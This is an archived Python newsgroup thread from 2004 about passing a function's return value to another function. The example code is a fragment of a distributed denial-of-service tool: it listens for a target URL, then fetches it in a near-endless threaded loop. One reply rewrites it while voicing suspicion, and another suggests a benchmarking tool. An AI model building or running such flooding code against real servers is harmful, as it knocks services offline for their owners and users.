passing what a function returns to another function

B

Bart Nessux

I have 2 functions among others. One gets a URL and returns its, For
example, it returns 'http://127.0.0.1' How can I pass this to another
function? I've never worked with code that has lots of functions before.

def receive_targets_url():
# This recievies the DDOS target's URL
I = socket(AF_INET, SOCK_STREAM)
I.bind((DDOS_ZOMBIE_IP, U_PORT))
I.listen(5)
conn, addr = I.accept()
DDOS_TARGET = conn.recv(1024)
conn.close()
return DDOS_TARGET

def receive_commands():
class threaded_ddos(Thread):
def run(self):
for x in xrange(999999999):
f = urlopen(DDOS_TARGET)
 
S

Steven

I have 2 functions among others. One gets a URL and returns its, For
example, it returns 'http://127.0.0.1' How can I pass this to another
function? I've never worked with code that has lots of functions before.

Either store the function result in an intermediate variable, or just call
the second function directly on the result of the first:

# method 1: using an intermediate variable
my_url = receive_target()
receive_commands(my_url)

# method 2: call one function directly on the result of the other
receive_command(receive_target())

Please note, the way you have written these two functions, I don't believe
either method will work. In particular, receive_commands() doesn't take
any arguments, so you have no way to pass it an argument :)

Also, receive_target appears to be using a lot of global variables, which
is probably not a good idea. If you have to use globals, it is recommended
that you declare them that way first, even if you don't strictly need to.

I would try something like this:

# WARNING: untested code, almost certainly won't work

def receive_targets_url(I):
# This receives the DDOS target's URL...
# Input: socket I
# Output: string URL

# I hope DDOS doesn't stand for Distributed Denial of Service

global DDOS_ZOMBIE_IP, U_PORT
# by convention, constants are in ALL UPPERCASE

I.bind((DDOS_ZOMBIE_IP, U_PORT))
I.listen(5)
conn, addr = I.accept()
ddos_target = conn.recv(1024)
conn.close()
return ddos_target

def receive_commands(url):
# This receives commands ...
# Input: url is a string containing the URL to use
# Output: none

for i in xrange(999999999):
# hmmm, this looks like a Denial of Service attack to me...
# haven't you got something better to do with your time,
# like maybe writing a natural language parser or something
# useful and challenging?
f = urlopen(url)
 
J

Josiah Carlson

# hmmm, this looks like a Denial of Service attack to me...
# haven't you got something better to do with your time,
# like maybe writing a natural language parser or something
# useful and challenging?
f = urlopen(url)

Tee hee.

On the one hand, I'm not terribly worried that his 'DDOS' software will
get too far. Considering that it requires the python runtime, and a few
other misc libraries, we are talking 1-2 megs per version.

Maybe he read the recent NY Times article on virus/worm writers and
wanted to be all 31337.
http://www.nytimes.com/2004/02/08/magazine/08WORMS.html?adxnnl=1&pagewanted=1

- Josiah
 
M

Miki Tebeka

Hello Bart,
I have 2 functions among others. One gets a URL and returns its, For
example, it returns 'http://127.0.0.1' How can I pass this to another
function? I've never worked with code that has lots of functions before.
You can either use a varible to store the 1'st result and pass it to
the 2'nd function of call the 1'st function directly as a parameter:
return x * 2
12

HTH.
Miki
 
B

Bart Nessux

Steven said:
for i in xrange(999999999):
# hmmm, this looks like a Denial of Service attack to me...
# haven't you got something better to do with your time,
# like maybe writing a natural language parser or something
# useful and challenging?
f = urlopen(url)


Thanks for the tips on functions.

It is a Denial of Service script written in Python and it is very effective
(produces loads > 150 on a 1000MHz PowerMac G4 running apache with static
html pages). It's been written for Unix load testing in an academic
setting. It will not be misused. Just trying to get the client/server
details worked out since the scripts have been rewritten to be more
modular... here's where I ran into problems with functions.

Again, thanks to all for the tips.
 
K

Kirk Strauser

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 2004-02-08T16:05:06Z said:
It is a Denial of Service script written in Python and it is very
effective (produces loads > 150 on a 1000MHz PowerMac G4 running apache
with static html pages). It's been written for Unix load testing in an
academic setting.

OK, that's fine, but you should know that many such tools already exist. If
the aim of your project is writing one in Python, go for it. If not, your
time might be better spent using one that's already in production.

- From a description of http://home.tiscali.cz/~cz210552/webbench.html:

webbench is very simple HTTP benchmarking tool, which can benchmark both
WWW and proxy servers. webbench uses fork() for simulating multiple
clients and supports benchmarking by HTTP/0.9-HTTP/1.1 requests (without
Keep-Alive). This benchmark is not very realistic, but can test if your
HTTPD can really handle many clients at once (try to run some CGIs)
without taking your machine down. I am using this program for setting
maximum number of Apaches. Webbench displays results in pages/min and
bytes/sec.


- --
Kirk Strauser
The Strauser Group
Open. Solutions. Simple.
http://www.strausergroup.com/
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFAJpQH5sRg+Y0CpvERAueyAJ9dY5JQIYkocwyN/X5XLNuI38XSiACdFufi
auDALXYFDO9QV4AeY9tyUjA=
=B09Q
-----END PGP SIGNATURE-----
 

Ask a Question

Want to reply to this thread or ask your own question?

You'll need to choose a username for the site, which only take a couple of moments. After that, you can post your question and our members will help you out.

Ask a Question

Members online

No members online now.

Forum statistics

Threads
473,769
Messages
2,569,580
Members
45,054
Latest member
TrimKetoBoost

Latest Threads

Top